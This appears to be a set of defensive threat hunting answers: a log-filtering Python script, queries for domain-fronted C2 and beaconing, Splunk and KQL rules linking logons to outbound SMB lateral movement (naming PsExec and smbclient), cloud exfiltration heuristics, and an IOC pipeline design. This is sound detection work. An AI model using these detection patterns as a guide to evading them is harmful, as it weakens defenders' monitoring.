Threat Hunting and Threat Intelligence Questions

Approach (brief)
Read NDJSON line-by-line, parse JSON, filter events ('user' != 'system', 'action' == 'file_upload', 'size_bytes' > 10MB), and stream matched rows into a CSV with columns host, user, filename, size, timestamp. Process files incrementally to avoid OOM.

Sample script

import json, csv
from pathlib import Path

INPUT = "logs.ndjson"
OUTPUT = "large_uploads.csv"
THRESH = 10_485_760

with open(INPUT, "r", encoding="utf-8") as inf, open(OUTPUT, "w", newline='', encoding="utf-8") as outf:
    writer = csv.writer(outf)
    writer.writerow(["host","user","filename","size_bytes","timestamp"])
    for line in inf:
        if not line.strip(): continue
        try:
            evt = json.loads(line)
        except json.JSONDecodeError:
            continue
        if evt.get("user") == "system": continue
        if evt.get("action") != "file_upload": continue
        size = evt.get("size_bytes", 0)
        if size and size > THRESH:
            writer.writerow([
                evt.get("host",""),
                evt.get("user",""),
                evt.get("filename",""),
                size,
                evt.get("timestamp","")
            ])

Key considerations & performance

• Memory: streaming line-by-line keeps peak memory low.
• CPU: use faster JSON parsers (ujson/orjson) if parsing is bottleneck.
• IO: if logs compressed, use gzip module or read from rotated files; process multiple files sequentially.
• Filtering early reduces work; avoid building large intermediate structures.
• Parallelism: split by file and run per-core workers, then merge CSVs.

Modifying for streaming/real-time

• Replace file read with a consumer from Kafka/syslog/TCP socket; process each message as it arrives.
• Use async or worker pool for high-throughput pipelines.
• Emit matches to a downstream system (Kafka topic, SIEM API, or append to CSV/DB). Add backpressure and idempotency considerations.
• Add logging, metrics (counts, lag), and alerts for anomalous spikes (use Prometheus/Grafana).

Overview (two-week plan)
Week 1: collect/enrich telemetry, baseline, run initial hypotheses.
Week 2: focused hunts, validation, remediation recommendations.

Hypotheses to test

• H1: Malicious C2 uses domain fronting through high-reputation CDN front domains while true host appears in SNI or HTTP Host header encrypted/obfuscated.
• H2: Intermittent beaconing occurs on regular intervals with low volume and short durations to evade thresholds.
• H3: DNS fast-flux or low-TTL DNS patterns resolve to CDN fronting endpoints.

Telemetry to collect

• DNS: query logs, response TTLs, NXDOMAIN counts, EDNS client subnet.
• TLS: SNI, cert SubjectAltName, JA3/JA3S fingerprints, TLS version, certificate validity.
• Netflow/IPFIX: flow duration, bytes/packets, periodicity, endpoints.
• Proxy/HTTP logs: Host header, User-Agent, path frequency, response codes.
• Endpoint: process->network mappings, parent process, scheduled tasks.

Hunting queries / analytics (examples)

• Detect domain fronting candidates (Splunk-like):

index=proxy OR index=ssl
| stats count by host, sni, dest_ip, ja3
| where host != sni AND count > 10

• Beacon periodicity (pseudo-SQL):

SELECT src_ip, dest_ip, COUNT(*) as hits, STDDEV(time_diff) as jitter
FROM flows
GROUP BY src_ip, dest_ip
HAVING hits BETWEEN 5 AND 500 AND jitter < threshold

• Low-TTL / fast-flux:

index=dns sourcetype=dns
| stats values(ttl) as ttls, dc(a) as unique_ips by qname
| where min(ttls) < 60 AND unique_ips > 3

Validation steps for suspected findings

• Cross-check JA3/JA3S and certificate fingerprints against threat intel.
• Pull full PCAP for suspected src/dest window; decode TLS SNI and HTTP Host.
• Endpoint triage: confirm process owning socket, check persistence, scheduled tasks, unusual parent-child.
• Controlled repro: block suspected front domain in test segment to see fallback behavior; observe changes.
• Escalate confirmed C2: isolate host, preserve artifacts, and notify IR with IOC list (domains, IPs, JA3s).

Outcome & metrics

• Deliverables: detection rules, 7-day retrospective IOCs, remediation playbook.
• Metrics: number of confirmed beacons, detection precision/false positives, mean time to validate.

Approach (brief)
Detect host A authenticating successfully as a user, then within 10 minutes that same source or the user initiates outbound SMB (TCP/445) to a different host — a common lateral-movement pattern.

Expected Windows fields & event codes

• Authentication: EventCode 4624 (Logon Type 3/10 for network/remote interactive), fields: Host (ComputerName), SubjectUserName, SubjectLogonId, IpAddress (SourceNetworkAddress), TimeCreated
• SMB/network connections: Windows Firewall or Sysmon NetworkConnect (Sysmon EventID 3) or Windows Event 5156/5158 (WFP allow), fields: SourceIp, DestinationIp, DestinationPort, Protocol, Image, TimeCreated
• Sysmon: Image, SourcePort, DestinationPort, DestinationIp

Splunk sample

index=winevent OR index=sysmon (EventCode=4624) Logon_Type IN (3,10)
| eval src_ip=coalesce(Source_Network_Address, IpAddress)
| rename ComputerName as host, SubjectUserName as user, _time as auth_time
| table host user src_ip auth_time Logon_Type
| join type=left host [ search index=sysmon EventID=3 DestinationPort=445 OR index=winevent (EventID=5156 OR EventID=5158) DestinationPort=445
    | eval dst_ip=DestinationIp, dst_port=DestinationPort
    | table host dst_ip dst_port _time Image ]
| where _time >= auth_time AND _time <= auth_time + 600
| where dst_ip!=host
| stats earliest(auth_time) as first_auth, earliest(_time) as first_smb by host user src_ip dst_ip Image

KQL (Azure Sentinel / Log Analytics)

let auth = SecurityEvent
| where EventID == 4624 and LogonType in (3,10)
| extend src_ip = tostring(IpAddress), host = Computer, user = Account;
let smb = Syslog // or CommonSecurityLog / SecurityEvent with ports
| where DestinationPort == 445 or (Protocol == "TCP" and DestinationPort == 445)
| extend dst_ip = tostring(DestinationIp), host = tostring(Computer), conn_time = TimeGenerated;
auth
| project auth_time = TimeGenerated, host, user, src_ip
| join kind=inner (smb | project conn_time, host, dst_ip, ProcessName) on host
| where conn_time between (auth_time .. auth_time + 10m) and dst_ip != host
| summarize first_auth = min(auth_time), first_smb = min(conn_time) by host, user, src_ip, dst_ip, ProcessName

Why this works & tuning

• Correlates successful logon (4624) to subsequent outbound SMB (port 445) within 10 minutes — typical for lateral tools (PsExec, smbclient, RDP follow-ups).
• Tune by filtering known admin accounts, legitimate backup/management hosts, and whitelisting approved management tools (Image/ProcessName).
• Consider adding LogonId correlation (SubjectLogonId) and source port matching when available to reduce false positives.

Approach (high level)
I’d treat this as a hunt combining behavioral baselines from VPC Flow Logs with control-plane changes and identity activity from CloudTrail to spot slow, obfuscated HTTPS exfiltration (small, frequent encrypted uploads to external hosts).

Signals in VPC Flow Logs

• Destination IPs: repeated connections to uncommon external IPs / new ASNs or rare geolocations for the org.
• Bytes / packets / duration: many flows with small bytes but long overall aggregate outbound bytes (e.g., hundreds of small flows that sum to large egress).
• Flow cadence: regular periodic connections (e.g., every 5–30 minutes).
• Bytes-per-packet or bytes-per-flow low (suggests chunking). Example heuristics:

  • 1000 outbound flows to same dest over 24h AND total egress >100MB

  • Average throughput per flow <10 KB/s while aggregate >50 MB/day
• Ports: 443 but unusual destination port combos or destination port != 443 for TLS-wrapped traffic.
• Flow start/stop times showing long-lived sessions with small transfers.

Signals in CloudTrail

• New IAM role/instance-profile attachments to the EC2 instance, new access keys, or role assumption events that could enable data access.
• Creation/modification of resources enabling egress (NAT, VPC endpoint changes, security-group egress opens).
• SSM/RunInstances/RunCommand events or unusual console/API activity from unusual principals.
• Key management events: KMS decrypt calls originating from that instance profile.
• Lack of corresponding API activity for expected uploads (e.g., no S3 PutObject but large outbound bytes) — suggests exfil over direct HTTPS.

Correlation strategy

• Map Flow Log source IP / ENI to EC2 instance ID and then to CloudTrail identity (use sourceENI → DescribeNetworkInterfaces → attachment.instanceId). Correlate times: match outbound flow timestamps to CloudTrail events within ±5–10 minutes.
• If Flow Logs show repeated dest IP X, check CloudTrail for DNS-related API calls, role assumptions, or process-launch events tied to the instance around the first occurrence.
• Enrich dest IP with threat intel (reputation, ASN), and cross-check if CloudTrail shows new credentials that could be used to exfiltrate.

Heuristics & thresholds

• Alert if: same external IP receives >1,000 flows from single instance in 24h AND total egress >50–100 MB while median flow size <5 KB.
• Alert on periodicity: connections recurring with low variance (coefficient of variation <0.2) over N>10 intervals.
• Alert if outbound egress to new / rare ASN or country AND recent IAM/instance-profile changes within 48h.
• Prioritize cases where KMS decrypts or SSM activity correlate with unusual egress.

Example investigation steps

1. Query Flow Logs for top outbound dest IPs by count, bytes, periodicity for the suspect ENI.
2. Enrich dest IP; pivot to CloudTrail for role/credential changes and KMS/SSM events for that instance/time window.
3. If suspicious, capture packet-level telemetry (VPC Traffic Mirroring) and host telemetry (process opens, TLS JA3) and isolate instance.

This approach balances statistical detection (chunking, periodicity, low throughput/high aggregate) with control-plane indicators that explain how data was accessed and exfiltrated.

Clarify requirements & constraints

• Ingest STIX/TAXII feeds (multiple vendors), normalize into canonical IOC schema, dedupe, score, enrich (ASN/GeoIP/WHOIS), export actionable IOCs to SIEM (alerts, lookups) and EDR (blocklists/indicators). Handle TTL, feed health, and performance for near-real-time use.

High-level architecture

• TAXII connector -> Message bus (Kafka) -> Normalization & dedup service -> Scoring & enrichment pipeline -> IOC store (Redis + Postgres) -> Publisher to SIEM/EDR + Dashboard/Monitoring.

Core components & responsibilities

• TAXII connector (e.g., OpenTAXII client): pulls STIX2 bundles, validates signatures.
• Kafka: buffering and replay.
• Normalizer: map STIX objects -> canonical IOC fields (type, value, first_seen, last_seen, source, confidence). Create deterministic dedupe key: sha256(type + value).
• Dedup/TTL store: Redis with dedupe key, store last_seen and TTL. If new last_seen extends TTL, update.
• Scoring engine: combine source reputation, confidence, sighting count, age decay. Example score = min(100, base_source_score * confidence * (1 + log(1 + sightings)) * age_decay).
• Enrichment workers: ASN (Team Cymru), GeoIP, WHOIS, passive DNS. Attach enrichment metadata to IOC record.
• IOC store: Postgres for history + Redis for fast lookups; expose REST API.
• Publisher: push to SIEM (Splunk/QRadar via index + lookup table or threat list API) and EDR (CrowdStrike/Microsoft Defender via indicator API) based on policy.

Data flow & rules

• Only push actionable IOCs where score >= threshold (e.g., >=70) and type in allowed list. Push lower-score to threat intel workspace for analyst review.
• Use atomic update: dedupe key prevents duplicate pushes. Maintain push history to avoid re-sending within cooldown window.

TTL & feed health

• TTL: each IOC has ttl_seconds = min(max_ttl_by_type, last_seen + decay). Redis key expiry enforces automatic removal. When TTL expires, publisher issues remove/disable to EDR and removes SIEM lookup entry.
• Feed health metrics: ingestion latency, parse errors, item counts, freshness. Export to Prometheus + Grafana and alert if error rate > X% or no new data in Y minutes.

Scalability & trade-offs

• Kafka enables scale; enrichment is async to avoid blocking ingestion. Balance push frequency vs rate limits on EDR APIs; batch pushes and use backoff.
• Trade-offs: stricter thresholds reduce false positives but may miss early threats — expose analyst queue for low-score IOCs.

Operational notes

• Maintain allow/block lists, whitelist internal IPs/domains. Periodic re-score as new sightings/enrichment arrive. Log all actions for audit and incident investigation.

This design provides deterministic deduplication, actionable scoring, rich enrichment, TTL lifecycle, and feed health monitoring suited to day-to-day SOC operations.